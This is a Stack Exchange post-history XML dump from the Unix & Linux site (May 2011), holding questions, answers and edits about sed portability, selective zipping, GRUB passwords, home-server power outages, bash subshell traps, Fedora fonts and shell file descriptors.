  <row Id="34244" PostHistoryTypeId="4" PostId="13696" RevisionGUID="2adee0f2-ffbe-4cd4-a504-5a3f6704cb02" CreationDate="2011-05-24T16:53:10.540" UserId="885" Comment="wording; title; tags" Text="Imagemagick -quality 85 doesn't work" />
  <row Id="34245" PostHistoryTypeId="6" PostId="13696" RevisionGUID="2adee0f2-ffbe-4cd4-a504-5a3f6704cb02" CreationDate="2011-05-24T16:53:10.540" UserId="885" Comment="wording; title; tags" Text="éimagemagickà" />
  <row Id="34246" PostHistoryTypeId="6" PostId="13686" RevisionGUID="68d2fbea-2e93-4e3b-844c-687f9f77224f" CreationDate="2011-05-24T17:04:46.410" UserId="885" Comment="edited tags" Text="écompilingàécàécççà" />
  <row Id="34247" PostHistoryTypeId="2" PostId="13710" RevisionGUID="a9565ab1-fbc7-416d-b8ec-e704e0bb7270" CreationDate="2011-05-24T17:45:55.483" UserId="7635" Text="I found the answer to my problem [here][1].  If I use the `md5crypt` command to generate my password, I need to enter `--md5` between my `password` and the encrypted password.  Now this works.  &#xD;&#xA;&#xD;&#xA;So, before the `title` entries in my `/boot/grub/menu.lst` file I have the line with a password.  This now reads &#xD;&#xA;&#xD;&#xA;`password  --md5   encrypted_password`.&#xD;&#xA;&#xD;&#xA;Based on my experience, it appears that setting the password for the Boot Loader via YaST does not work correctly for OpenSuSE 11.2.  I have not yet checked to see if adding a `--md5` to the encrypted password provided by YaST would cause it to work, I've only tried the `md5crypt` method with this.  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://ubuntuforums.org/showpost.php?s=1b83314b1bdb2fccb952b5aede88fbd0&amp;p=2620111&amp;postcount=7" />
  <row Id="34248" PostHistoryTypeId="25" PostId="13706" RevisionGUID="c27f2c6c-601c-47f7-b23d-4860dad09aa2" CreationDate="2011-05-24T18:12:37.957" Comment="http://twitter.com/#!/StackUnix/status/73089031801536513" />
  <row Id="34249" PostHistoryTypeId="2" PostId="13711" RevisionGUID="82a67c2d-a401-469b-b70b-7a7c67d598ad" CreationDate="2011-05-24T18:16:45.683" UserId="7723" Text="I am having some issues in using an answer provided on this site for [this question about a sed command to replace a blank line with two other lines of content](http://unix.stackexchange.com/questions/13688/sed-command-to-replace-a-blank-line-with-two-lines-of-content), and it was brought up if the sed command on Mac OS (10.6.7 for me) is different. I don't think that it is, but was wondering if others on this site thought differently.&#xD;&#xA;" />
  <row Id="34250" PostHistoryTypeId="1" PostId="13711" RevisionGUID="82a67c2d-a401-469b-b70b-7a7c67d598ad" CreationDate="2011-05-24T18:16:45.683" UserId="7723" Text="Differences between sed on Mac OSX and other &quot;standard&quot; sed?" />
  <row Id="34251" PostHistoryTypeId="3" PostId="13711" RevisionGUID="82a67c2d-a401-469b-b70b-7a7c67d598ad" CreationDate="2011-05-24T18:16:45.683" UserId="7723" Text="ésedàémacà" />
  <row Id="34252" PostHistoryTypeId="2" PostId="13712" RevisionGUID="2ef1bbdc-cf6b-438f-9f03-8dec5a080874" CreationDate="2011-05-24T18:42:41.680" UserId="6181" Text="Maybe I'm missing something here, but is there some reason you don't just setup a simple NFS directory and just have all the machines mount that? Anytime the app writes the new cache file it should just overwrite any old ones." />
  <row Id="34253" PostHistoryTypeId="2" PostId="13713" RevisionGUID="141a6d6c-e23c-49c2-92d5-24d69da7c9a0" CreationDate="2011-05-24T18:58:13.180" UserId="7735" Text="I would like to use the unix zip command to zip a directory. Let's say the directory is structured as follows:&#xD;&#xA;&#xD;&#xA;    dir1/&#xD;&#xA;    dir1/dir2/&#xD;&#xA;    dir1/dir2/file1&#xD;&#xA;    dir1/dir2/file2&#xD;&#xA;    dir1/dir3&#xD;&#xA;    dir1/dir3/file1&#xD;&#xA;    dir1/file1&#xD;&#xA;    dir1/file2&#xD;&#xA;&#xD;&#xA;I would like to zip `dir1` into `dir1.zip` such that `dir1.zip` contains `dir1/file1, dir1/file2, dir1/dir2/file1, dir1/dir2/file2, dir3/`, but NOT `dir1/dir3/file1`. In short, I'd like to zip all of the FILES under `dir1`, `dir2` and all of its files, and `dir3` but NONE of its files.&#xD;&#xA;&#xD;&#xA;If I do `zip dir1 dir1/`, it will zip everything in `dir1`, all of its files and subfolders but not the contents of the subfolders. If I do `zip -r dir1 dir1/`, it will zip everything in `dir1`, including all of its files and all of the files of its subfolders. I would like to be able to control which subfolders should be zipped recursively and which shouldn't.&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="34254" PostHistoryTypeId="1" PostId="13713" RevisionGUID="141a6d6c-e23c-49c2-92d5-24d69da7c9a0" CreationDate="2011-05-24T18:58:13.180" UserId="7735" Text="unix zip contents of some subfolders but not others" />
  <row Id="34255" PostHistoryTypeId="3" PostId="13713" RevisionGUID="141a6d6c-e23c-49c2-92d5-24d69da7c9a0" CreationDate="2011-05-24T18:58:13.180" UserId="7735" Text="ézipà" />
  <row Id="34256" PostHistoryTypeId="2" PostId="13714" RevisionGUID="202b6491-3a60-4c44-acb0-16e5d2b77d78" CreationDate="2011-05-24T18:58:18.893" UserId="7734" Text="I have a personal Debian server set up, that I'm able to access in person and remotely, but normally I'm away from it and it's remote. It's on a battery-backup surge protector, but sometimes that isn't enough to keep the server on through a power outage. The machine automatically starts and boots, but its left at the login screen (in person). What I want to know is, what is the best way to have the server get itself back on and online after it loses power, without leaving it vulnerable in person? I'd like it to not auto-login for the screen in person, so that the machine isn't overly vulnerable in-person while I'm away.&#xD;&#xA;&#xD;&#xA;Are there battery backups that signal for hibernation or other safe power down automatically?&#xD;&#xA;How can I have a user sign in automatically in the background?&#xD;&#xA;What would you recommend as a &quot;best practice&quot; for this, considering it's just a home server?" />
  <row Id="34257" PostHistoryTypeId="1" PostId="13714" RevisionGUID="202b6491-3a60-4c44-acb0-16e5d2b77d78" CreationDate="2011-05-24T18:58:18.893" UserId="7734" Text="How to properly prepare a server for power outages?" />
  <row Id="34258" PostHistoryTypeId="3" PostId="13714" RevisionGUID="202b6491-3a60-4c44-acb0-16e5d2b77d78" CreationDate="2011-05-24T18:58:18.893" UserId="7734" Text="élinuxàédebianàéserveràépowerömanagementà" />
  <row Id="34259" PostHistoryTypeId="2" PostId="13715" RevisionGUID="41c9240c-44c3-40ed-b8a4-0044cf9df233" CreationDate="2011-05-24T19:09:51.033" UserId="3389" Text="Make sure your BIOS is set to restart the system after a power failure.&#xD;&#xA;&#xD;&#xA;Turn off auto login unless you have a really good reason for it to be enabled.  You shouldn't really need to be interactively logged on for any server type programs to function.  Especially if you can get into the system remotely there is no reason for it.&#xD;&#xA;&#xD;&#xA;For most any program you need running in the background you can either make an initscript (if there isn't one already) or start it from `rc.local` without needing to be logged in.&#xD;&#xA;&#xD;&#xA;For example, I have apache running on my home server.  It launches and runs in the background when I boot.  I don't have to explicity start it when my server comes up.&#xD;&#xA;&#xD;&#xA;Most battery backups over $50 have a serial port or other mechanism for communicating with a PC.  If yours is an APC (a really common brand), you want a package called `apcaccess`.  This lets you call scripts when the power goes out, comes back on, and the system is about to shut down because of low battery.  Most battery backups support Linux, it's just a matter of going on the manufacturer's website or doing a bit of Googling.  &#xD;&#xA;&#xD;&#xA;Generally power events are delivered to `init` and then init calls the respective programs.  Look at `/etc/inittab` and the comments illustrate this. &#xD;&#xA;&#xD;&#xA;You can actually disable console login entirely if you really want to by removing all the &quot;getty&quot; lines in inittab.  Don't recommend you do that though, because if your network fails or you misconfigure `sshd` one day you are screwed." />
  <row Id="34260" PostHistoryTypeId="2" PostId="13716" RevisionGUID="18282d67-22c7-47f1-8f9b-c7be186f1c19" CreationDate="2011-05-24T19:22:00.473" UserId="885" Text="The behavior of shell utilities does differ in minor ways between unix variants. There are many [unix](http://en.wikipedia.org/wiki/Unix) variants, with a [complex](http://www.levenez.com/unix/) [history](http://unix.stackexchange.com/questions/3196/evolution-of-operating-systems-from-unix/3202#3202). There are [standardisation efforts](http://unix.stackexchange.com/questions/11983/what-exactly-is-posix) such as the [POSIX](http://en.wikipedia.org/wiki/POSIX) standard and its superset the [Single UNIX specification](http://en.wikipedia.org/wiki/Single_UNIX_Specification). Most systems nowadays implement POSIX:2001, also known as the [Single UNIX Specification version 3](http://pubs.opengroup.org/onlinepubs/009695399/), with minor deviations and many extensions. The Single Unix specification is not a tutorial, but version 3 is readable if you already have an idea of what a command is doing. You can consult it to know if some feature is standard or an extension of a particular system.&#xD;&#xA;&#xD;&#xA;A majority of unix users use Linux and haven't used any other variant. Linux comes with [GNU](http://en.wikipedia.org/wiki/GNU) utilities, which often have many extensions to the standard. So you'll find quite a lot of code out there that works on Linux but not on other unices, because it relies on those extensions.&#xD;&#xA;&#xD;&#xA;Regarding sed, consult the [sed Single Unix specification](http://pubs.opengroup.org/onlinepubs/009695399/utilities/sed.html) for the minimum that every system is supposed to support, the [man page on your system](http://developer.apple.com/library/mac/#documentation/Darwin/Reference/ManPages/man1/sed.1.html) for what your implementation supports, and the [GNU sed manual](http://www.gnu.org/software/sed/manual/sed.html) for what most people out there use.&#xD;&#xA;&#xD;&#xA;One of the nonstandard extensions in GNU sed is supporting multiple commands run together. For example, this GNU sed program prints all lines containing an `a`, but changes `b` into `c` first:&#xD;&#xA;&#xD;&#xA;    sed -ne '/a/ {s/b/c/g; p}'&#xD;&#xA;&#xD;&#xA;`{` and `}` are actually separate commands, so for full portability, you need to specify them either on separate lines (in a file) or in separate `-e` arguments (on the command line). The lack of a command separator after `{` and the use of `;` as a command separator are common extensions. The lack of a command separator before `}` is a less common extension. This is standard-compliant:&#xD;&#xA;&#xD;&#xA;    sed -n -e '/a/ {' -e 's/b/c/g' -e p -e '}'&#xD;&#xA;&#xD;&#xA;This is nonstandard but commonly accepted:&#xD;&#xA;&#xD;&#xA;    sed -ne '/a/ { s/b/c/g; p; }'&#xD;&#xA;&#xD;&#xA;Another nonstandard but common extension is the use of `\n` to mean a newline in a `s` replacement text (the use in a regexp is standard). The portable method is to include backslash-newline in the sed script. Another common extension is `\+`, `\?` and `\|` in regexps to mean one or more, at most one and alternation; [portable basic regular expressions](http://pubs.opengroup.org/onlinepubs/009695399/basedefs/xbd_chap09.html#tag_09_03) have none of these. For example, the first command is a non-portable way of replacing sequences of whitespace by a newline; the second command is a standard-compliant equivalent.&#xD;&#xA;&#xD;&#xA;    sed -e 's/ \+/\n/'&#xD;&#xA;    sed -e 's/  */\&#xD;&#xA;    '&#xD;&#xA;" />
  <row Id="34261" PostHistoryTypeId="2" PostId="13717" RevisionGUID="0c4c7d01-9f2b-49a8-bcac-4bc281e0d3c8" CreationDate="2011-05-24T19:23:38.867" UserId="5839" Text="Try this command from the parent directory of dir1:&#xD;&#xA;&#xD;&#xA;    tar --exclude=dir3/* -cf - dir1/ | zip dir1.zip -&#xD;&#xA;&#xD;&#xA;And to unzip dir1.zip use this command:&#xD;&#xA;&#xD;&#xA;    unzip -p dir1.zip | tar xf -" />
  <row Id="34262" PostHistoryTypeId="5" PostId="13689" RevisionGUID="d7cd8210-3a74-46db-bc40-9d56a850facb" CreationDate="2011-05-24T19:26:00.960" UserId="885" Comment="removed the useless braces around a single command" Text="Sed matches entire lines but doesn't include the newline, so a blank line will just be an empty string. You can use `^` to match the beginning of a line and `$` to match the end, so `^$` matches a blank line. Just replace that with `% ghi\n%`:&#xD;&#xA;&#xD;&#xA;    sed 's/^$/% ghi\n%/'&#xD;&#xA;&#xD;&#xA;The newline that already existed will remain, so you'll end up with `% ghi` on one line and `%` on the next&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**Edit**: If it needs to only match once then the expression is a bit more complicated. The easiest way I know to do it in `sed` is:&#xD;&#xA;&#xD;&#xA;    sed '0,/^$/ s/^$/% ghi\n%/'&#xD;&#xA;&#xD;&#xA;The replacement is wrapped in an address range `0,/^$/`, which means &quot;only apply the following to the lines between 0 and the first line that matches `^$`&quot;. Since the replacement expression checks for `^$` as well, the only line that's actually going to change is the first that matches `^$` -- the first blank line" />
  <row Id="34263" PostHistoryTypeId="2" PostId="13718" RevisionGUID="9d5f45dd-2c93-471a-8b15-3b2709f2f289" CreationDate="2011-05-24T19:30:30.070" UserId="4671" Text="    $ zip -r dir1 dir1 -x dir1/dir3/*&#xD;&#xA;&#xD;&#xA;works for me. Here `-x` is the exclude option. You could also use an include option, but in this case, the exclude option involves less typing.&#xD;&#xA;&#xD;&#xA;Actually the question is not completely clear. Do you want all directories and files under `dir3` excluded as well, or just the files under `dir3`. The command above only works for the latter.&#xD;&#xA;" />
  <row Id="34264" PostHistoryTypeId="6" PostId="13711" RevisionGUID="cea1090c-ae4c-4825-afae-64a0ef143836" CreationDate="2011-05-24T19:31:56.327" UserId="885" Comment="edited tags" Text="éosxàésedàéstandardà" />
  <row Id="34265" PostHistoryTypeId="5" PostId="13718" RevisionGUID="bd70fd9a-c5ba-40fc-872c-43e977e513bb" CreationDate="2011-05-24T19:35:43.393" UserId="4671" Comment="edited body" Text="    $ zip -r dir1 dir1 -x dir1/dir3/*&#xD;&#xA;&#xD;&#xA;works for me. Here `-x` is the exclude option. You could also use an include option, but in this case, the exclude option involves less typing.&#xD;&#xA;&#xD;&#xA;Actually the question is not completely clear. Do you want all directories and files under `dir3` excluded as well, or just the files under `dir3`? The command above only works for the latter.&#xD;&#xA;" />
  <row Id="34266" PostHistoryTypeId="2" PostId="13719" RevisionGUID="d694b714-87eb-4cef-a408-74288ed59558" CreationDate="2011-05-24T19:57:23.103" UserId="4143" Text="I'm writing a script that starts a subshell to go off and do some work.  In a special case, the script needs to tell the subshell to cleanly stop what it's doing and exit early.  However, my psuedo-code below doesn't seem to be working.  Am I trying the impossible?  Is it possible to define a separate trap for signals in a subshell?&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;&#xD;&#xA;    function myExitFunction { ... }&#xD;&#xA;    trap myExitFunction SIGTERM&#xD;&#xA;&#xD;&#xA;    while [ 1 ] ; do&#xD;&#xA;        waitForSpecialCondition&#xD;&#xA;        &#xD;&#xA;        kill -0 $SUBSHELL_PID   # check if subshell is running&#xD;&#xA;        if [ $? -eq 0 ] ; then  # and kill it if it is&#xD;&#xA;            kill $SUBSHELL_PID&#xD;&#xA;        fi&#xD;&#xA;        &#xD;&#xA;        (&#xD;&#xA;        someProcess&#xD;&#xA;        MYOWNCHILD=$!           # save someProcess's pid to kill later if I need to&#xD;&#xA;        trap &quot;kill $MYOWNCHILD&quot; SIGTERM&#xD;&#xA;        ... # do stuff&#xD;&#xA;        ) &amp;&#xD;&#xA;        SUBSHELL_PID=$!&#xD;&#xA;        &#xD;&#xA;    done" />
  <row Id="34267" PostHistoryTypeId="1" PostId="13719" RevisionGUID="d694b714-87eb-4cef-a408-74288ed59558" CreationDate="2011-05-24T19:57:23.103" UserId="4143" Text="Can you specify a separate trap in a subshell created with () ?" />
  <row Id="34268" PostHistoryTypeId="3" PostId="13719" RevisionGUID="d694b714-87eb-4cef-a408-74288ed59558" CreationDate="2011-05-24T19:57:23.103" UserId="4143" Text="ébashàéshellàéprocessàésignalsà" />
  <row Id="34269" PostHistoryTypeId="5" PostId="13715" RevisionGUID="136478d1-a87a-41ec-aed8-e2283ae1a2f3" CreationDate="2011-05-24T20:04:15.277" UserId="3389" Comment="deleted 2 characters in body" Text="Make sure your BIOS is set to restart the system after a power failure.&#xD;&#xA;&#xD;&#xA;Turn off auto login unless you have a really good reason for it to be enabled.  You shouldn't really need to be interactively logged on for any server type programs to function.  Especially if you can get into the system remotely there is no reason for it.&#xD;&#xA;&#xD;&#xA;For most any program you need running in the background you can either make an initscript (if there isn't one already) or start it from `rc.local` without needing to be logged in.&#xD;&#xA;&#xD;&#xA;For example, I have apache running on my home server.  It launches and runs in the background when I boot.  I don't have to explicity start it when my server comes up.&#xD;&#xA;&#xD;&#xA;Most battery backups over $50 have a serial port or other mechanism for communicating with a PC.  If yours is an APC (a really common brand), you want a package called `apcupsd`.  This lets you call scripts when the power goes out, comes back on, and the system is about to shut down because of low battery.  Most battery backups support Linux, it's just a matter of going on the manufacturer's website or doing a bit of Googling.  &#xD;&#xA;&#xD;&#xA;Generally power events are delivered to `init` and then init calls the respective programs.  Look at `/etc/inittab` and the comments illustrate this. &#xD;&#xA;&#xD;&#xA;You can actually disable console login entirely if you really want to by removing all the &quot;getty&quot; lines in inittab.  Don't recommend you do that though, because if your network fails or you misconfigure `sshd` one day you are screwed." />
  <row Id="34270" PostHistoryTypeId="2" PostId="13720" RevisionGUID="28a1a4b1-c614-4d1f-86a6-13390063344b" CreationDate="2011-05-24T20:04:33.817" UserId="7406" Text="I've just installed Fedora 15 and here is some troubles with fonts. How can I install MS fonts?" />
  <row Id="34271" PostHistoryTypeId="1" PostId="13720" RevisionGUID="28a1a4b1-c614-4d1f-86a6-13390063344b" CreationDate="2011-05-24T20:04:33.817" UserId="7406" Text="Windows fonts on Fedora 15" />
  <row Id="34272" PostHistoryTypeId="3" PostId="13720" RevisionGUID="28a1a4b1-c614-4d1f-86a6-13390063344b" CreationDate="2011-05-24T20:04:33.817" UserId="7406" Text="éfedoraàéfontsà" />
  <row Id="34273" PostHistoryTypeId="4" PostId="13713" RevisionGUID="b4dcc09d-f2e3-4a1b-9b0f-11b441815402" CreationDate="2011-05-24T20:11:35.870" UserId="6803" Comment="Unix zip is redundant for this site." Text="Zip contents of some subfolders but not others" />
  <row Id="34274" PostHistoryTypeId="24" PostId="13713" RevisionGUID="b4dcc09d-f2e3-4a1b-9b0f-11b441815402" CreationDate="2011-05-24T20:11:35.870" Comment="Proposed by 6803 approved by 885 edit id of 393" />
  <row Id="34275" PostHistoryTypeId="2" PostId="13721" RevisionGUID="9cd91009-4478-4732-ace1-574698fa4cb7" CreationDate="2011-05-24T20:39:28.123" UserId="885" Text="One method to work with archive files is to mount them, and then access them like normal directories. [FUSE](http://fuse.sourceforge.net/) is available for [most unices](http://apps.sourceforge.net/mediawiki/fuse/index.php?title=OperatingSystems) and supports several [filesystems to access compressed files transparently](http://sourceforge.net/apps/mediawiki/fuse/index.php?title=CompressedFileSystems). For zip files, possibilities include [fuse-zip](http://code.google.com/p/fuse-zip/) ([AVFS](http://avf.sourceforge.net/) is also convenient but read-only).&#xD;&#xA;&#xD;&#xA;For example, with fuse-zip, here's how to mount the archive and copy the files into it.&#xD;&#xA;&#xD;&#xA;    mkdir tmp&#xD;&#xA;    fuse-zip /path/to/zip tmp&#xD;&#xA;    rsync -av --exclude='/dir1/dir3/*' dir1 tmp/&#xD;&#xA;    fusermount -u tmp; rmdir tmp&#xD;&#xA;" />
  <row Id="34276" PostHistoryTypeId="2" PostId="13722" RevisionGUID="339983ed-1781-4e46-b271-73f990255796" CreationDate="2011-05-24T20:41:49.000" UserId="4143" Text="It turns out that my problem was not what I really thought it was.  Below is a script that behaves like the psuedo-code above.  It functions exactly as I expected (although a little contrived in order to be simple), and is a good example of having separate signal traps for a parent and child shell process.&#xD;&#xA;&#xD;&#xA;This trap functionality can be demonstrated by just running the script, and exiting by a ctrl-c.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    &#xD;&#xA;    function endEarly {&#xD;&#xA;    echo &quot;Terminating early&quot;&#xD;&#xA;    if [ ! -z $SUBSHELL_PID ] ; then&#xD;&#xA;        echo &quot;Killing subshell with pid $SUBSHELL_PID&quot;&#xD;&#xA;        kill $SUBSHELL_PID&#xD;&#xA;    fi&#xD;&#xA;    exit&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    trap endEarly SIGTERM SIGINT&#xD;&#xA;    &#xD;&#xA;    echo &quot;Give me some input&quot;&#xD;&#xA;    while [ 1 ] ; do&#xD;&#xA;        read INPUT&#xD;&#xA;    &#xD;&#xA;        # kill the subshell if it exists and is running&#xD;&#xA;        if [ ! -z $SUBSHELL_PID ] ; then&#xD;&#xA;            kill -0 $SUBSHELL_PID&#xD;&#xA;            if [ $? -eq 0 ] ; then&#xD;&#xA;                kill $SUBSHELL_PID&#xD;&#xA;            fi&#xD;&#xA;        fi&#xD;&#xA;    &#xD;&#xA;        echo &quot;Now I'll repeat your input.  Feel free to change it&quot;&#xD;&#xA;        echo &quot;at any time by typing it again and hitting &lt;Enter&gt;&quot;&#xD;&#xA;        {&#xD;&#xA;            (&#xD;&#xA;                while [ 1 ] ; do&#xD;&#xA;                    echo &quot;$INPUT&quot;&#xD;&#xA;                    sleep 5&#xD;&#xA;                done&#xD;&#xA;            ) &amp;&#xD;&#xA;            CHILD_PID=$!&#xD;&#xA;            trap &quot;kill $CHILD_PID;&quot; SIGTERM SIGINT&#xD;&#xA;            wait $CHILD_PID&#xD;&#xA;        } &amp;&#xD;&#xA;        SUBSHELL_PID=$!&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;" />
  <row Id="34277" PostHistoryTypeId="2" PostId="13723" RevisionGUID="e59d85e6-a4ae-4dac-ae5d-450312b004cc" CreationDate="2011-05-24T20:56:00.687" UserId="688" Text="This is a slightly modified form the instructions found [here][1] (and haven't even checked if they work):&#xD;&#xA;&#xD;&#xA;1. Install the [chkfontpath package][2] from ATrpms. (Click on either the i686 or x86_64 package, depending on whether you have a 32-bit or 64-bit machine.)&#xD;&#xA;&#xD;&#xA;1. [As root][3], install some packages you'll need for the following steps:&#xD;&#xA;&#xD;&#xA;        yum install rpm-build cabextract ttmkfdir wget&#xD;&#xA;&#xD;&#xA;1. Download the MS Core Fonts Smart Package File:&#xD;&#xA;&#xD;&#xA;        wget http://corefonts.sourceforge.net/msttcorefonts-2.0-1.spec&#xD;&#xA;&#xD;&#xA;1. Build the Core Fonts package:&#xD;&#xA;&#xD;&#xA;        rpmbuild -ba msttcorefonts-2.0-1.spec&#xD;&#xA;&#xD;&#xA;1. Install the Core Fonts package:&#xD;&#xA;&#xD;&#xA;        yum install --nogpgcheck /root/rpmbuild/RPMS/noarch/msttcorefonts-2.0-1.noarch.rpm&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.fedorafaq.org/#installfonts&#xD;&#xA;  [2]: http://atrpms.net/dist/f14/chkfontpath/&#xD;&#xA;  [3]: http://unix.stackexchange.com/q/3063/688" />
  <row Id="34278" PostHistoryTypeId="25" PostId="13713" RevisionGUID="0bb5abc4-334a-40a2-b512-d69188e0fe0a" CreationDate="2011-05-24T21:12:38.773" Comment="http://twitter.com/#!/StackUnix/status/73134333090738176" />
  <row Id="34279" PostHistoryTypeId="5" PostId="13723" RevisionGUID="93166c24-cc8a-41f0-b1c5-a2b88f15f9d3" CreationDate="2011-05-24T21:30:42.663" UserId="688" Comment="deleted 1 characters in body" Text="This is slightly modified from the instructions found [here][1] (and I haven't even checked if they work):&#xD;&#xA;&#xD;&#xA;1. Install the [chkfontpath package][2] from ATrpms (Click on either the i686 or x86_64 package, depending on whether you have a 32-bit or 64-bit machine).&#xD;&#xA;&#xD;&#xA;1. [As root][3], install some packages you'll need for the following steps:&#xD;&#xA;&#xD;&#xA;        yum install rpm-build cabextract ttmkfdir wget&#xD;&#xA;&#xD;&#xA;1. Download the MS Core Fonts Smart Package File:&#xD;&#xA;&#xD;&#xA;        wget http://corefonts.sourceforge.net/msttcorefonts-2.0-1.spec&#xD;&#xA;&#xD;&#xA;1. Build the Core Fonts package:&#xD;&#xA;&#xD;&#xA;        rpmbuild -ba msttcorefonts-2.0-1.spec&#xD;&#xA;&#xD;&#xA;1. Install the Core Fonts package:&#xD;&#xA;&#xD;&#xA;        yum install --nogpgcheck /root/rpmbuild/RPMS/noarch/msttcorefonts-2.0-1.noarch.rpm&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.fedorafaq.org/#installfonts&#xD;&#xA;  [2]: http://atrpms.net/dist/f14/chkfontpath/&#xD;&#xA;  [3]: http://unix.stackexchange.com/q/3063/688" />
  <row Id="34280" PostHistoryTypeId="5" PostId="13329" RevisionGUID="7264c1be-4aac-4d93-96ad-f44b4d2ad2ab" CreationDate="2011-05-24T22:07:18.463" UserId="688" Comment="deleted 39 characters in body; edited title" Text="In GNOME 3, there's a facility to assign keyboard shortcuts for applications like your default browser, default email client, default terminal etc. How do I do this for other applications?" />
  <row Id="34281" PostHistoryTypeId="4" PostId="13329" RevisionGUID="7264c1be-4aac-4d93-96ad-f44b4d2ad2ab" CreationDate="2011-05-24T22:07:18.463" UserId="688" Comment="deleted 39 characters in body; edited title" Text="In GNOME 3, how does one assign keyboard shortcuts for applications besides the default applications?" />
  <row Id="34282" PostHistoryTypeId="2" PostId="13724" RevisionGUID="130ca6a8-37ea-47b2-8ed4-b4bed9ba574e" CreationDate="2011-05-24T22:08:57.120" UserId="4290" Text="I am having a very hard time understanding how does one use file descriptors in shell scripts.&#xD;&#xA;&#xD;&#xA;I know the basics such as &#xD;&#xA;&#xD;&#xA;&gt; exec 5 &gt; /tmp/foo&#xD;&#xA;&#xD;&#xA;So fd 5 is attached to foo for writing.&#xD;&#xA;&#xD;&#xA;&gt; exec 6 &lt; /tmp/bar&#xD;&#xA;&#xD;&#xA;For reading.&#xD;&#xA;&#xD;&#xA;&gt; exec &amp;5&#xD;&#xA;&#xD;&#xA;Close fd.&#xD;&#xA;&#xD;&#xA;Now what does this work ?&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    &#xD;&#xA;    exec 5 &gt; /tmp/foo &#xD;&#xA;    exec 6 &lt; /tmp/bar &#xD;&#xA;    &#xD;&#xA;    cat &lt;&amp;6 | while read a&#xD;&#xA;    do&#xD;&#xA;         echo $a &gt;&amp;5&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;As i understand &amp;5 closes the fd, so how is the output still being re-directed successfully after each call?&#xD;&#xA;&#xD;&#xA;This is a copy pasta from : [Here][1]&#xD;&#xA;&#xD;&#xA;It claims using this over a simple echo $a &gt; file would make it much quicker, i however fail to understand. I would appreciate any links to decent tutorial. I google powers seem to be failing me.&#xD;&#xA;&#xD;&#xA;Thanks!&#xD;&#xA;&#xD;&#xA;  [1]: http://blogmag.net/blog/read/48/File_descriptors_in_shell" />
  <row Id="34283" PostHistoryTypeId="1" PostId="13724" RevisionGUID="130ca6a8-37ea-47b2-8ed4-b4bed9ba574e" CreationDate="2011-05-24T22:08:57.120" UserId="4290" Text="File descriptors &amp; shell scripting" />
  <row Id="34284" PostHistoryTypeId="3" PostId="13724" RevisionGUID="130ca6a8-37ea-47b2-8ed4-b4bed9ba574e" CreationDate="2011-05-24T22:08:57.120" UserId="4290" Text="élinuxàébashàéshellöscriptàéfileödescriptorsà" />
  <row Id="34285" PostHistoryTypeId="2" PostId="13725" RevisionGUID="dc44b340-255d-438a-9506-172346a4bdc4" CreationDate="2011-05-24T22:22:16.267" UserId="688" Text="GNOME 2 allows one to either save the session automatically or manually (i.e. *save the session as it looks right now*). This is a nice feature because it restores the various desktop states between logins (and system restarts):&#xD;&#xA;&#xD;&#xA;* which apps were open&#xD;&#xA;* where (physically) on the desktop were they open&#xD;&#xA;* what specific window sizes were these apps set to&#xD;&#xA;&#xD;&#xA;Looking around, I can't find the feature in GNOME 3? Did I not look hard enough?" />
  <row Id="34286" PostHistoryTypeId="1" PostId="13725" RevisionGUID="dc44b340-255d-438a-9506-172346a4bdc4" CreationDate="2011-05-24T22:22:16.267" UserId="688" Text="How to save a GNOME 3 session" />
  <row Id="34287" PostHistoryTypeId="3" PostId="13725" RevisionGUID="dc44b340-255d-438a-9506-172346a4bdc4" CreationDate="2011-05-24T22:22:16.267" UserId="688" Text="égnome3à" />
  <row Id="34288" PostHistoryTypeId="5" PostId="13688" RevisionGUID="fc501f18-c1d2-410c-b7b8-19a49cec11ed" CreationDate="2011-05-24T22:25:29.040" UserId="7723" Comment="Corrected typo in example; added 28 characters in body; added 6 characters in body; added 67 characters in body" Text="How do I replace a single blank line with two lines of content. I did see a question on [replacing multiple blank lines with a single blank line in vim sed](http://unix.stackexchange.com/questions/12812/replacing-multiple-blank-lines-with-a-single-blank-line-in-vim-sed) but don't quite see how to adapt that. So, for example, if my input file is:&#xD;&#xA;&#xD;&#xA;    % abd&#xD;&#xA;    % def&#xD;&#xA;    &#xD;&#xA;    % jkl&#xD;&#xA;    &#xD;&#xA;    % mno&#xD;&#xA;&#xD;&#xA;I would like to have a sed command that replaces just the **first** blank line with these two lines (one containing `ghi` and the other containing `%`):&#xD;&#xA;&#xD;&#xA;    % abd&#xD;&#xA;    % def&#xD;&#xA;    % ghi&#xD;&#xA;    %&#xD;&#xA;    % jkl&#xD;&#xA;    &#xD;&#xA;    % mno&#xD;&#xA;" />
  <row Id="34289" PostHistoryTypeId="5" PostId="13688" RevisionGUID="34134837-e401-4478-b090-9922cfce7720" CreationDate="2011-05-24T22:30:41.717" UserId="7723" Comment="added 1 characters in body" Text="How do I replace the first blank line with two lines of content? I did see a question on [replacing multiple blank lines with a single blank line in vim sed](http://unix.stackexchange.com/questions/12812/replacing-multiple-blank-lines-with-a-single-blank-line-in-vim-sed) but don't quite see how to adapt that. So, for example, if my input file is:&#xD;&#xA;&#xD;&#xA;    % abd&#xD;&#xA;    % def&#xD;&#xA;    &#xD;&#xA;    % jkl&#xD;&#xA;    &#xD;&#xA;    % mno&#xD;&#xA;&#xD;&#xA;I would like to have a sed command that replaces just the **first** blank line with these two lines (one containing `ghi` and the other containing `%`):&#xD;&#xA;&#xD;&#xA;    % abd&#xD;&#xA;    % def&#xD;&#xA;    % ghi&#xD;&#xA;    %&#xD;&#xA;    % jkl&#xD;&#xA;    &#xD;&#xA;    % mno&#xD;&#xA;" />
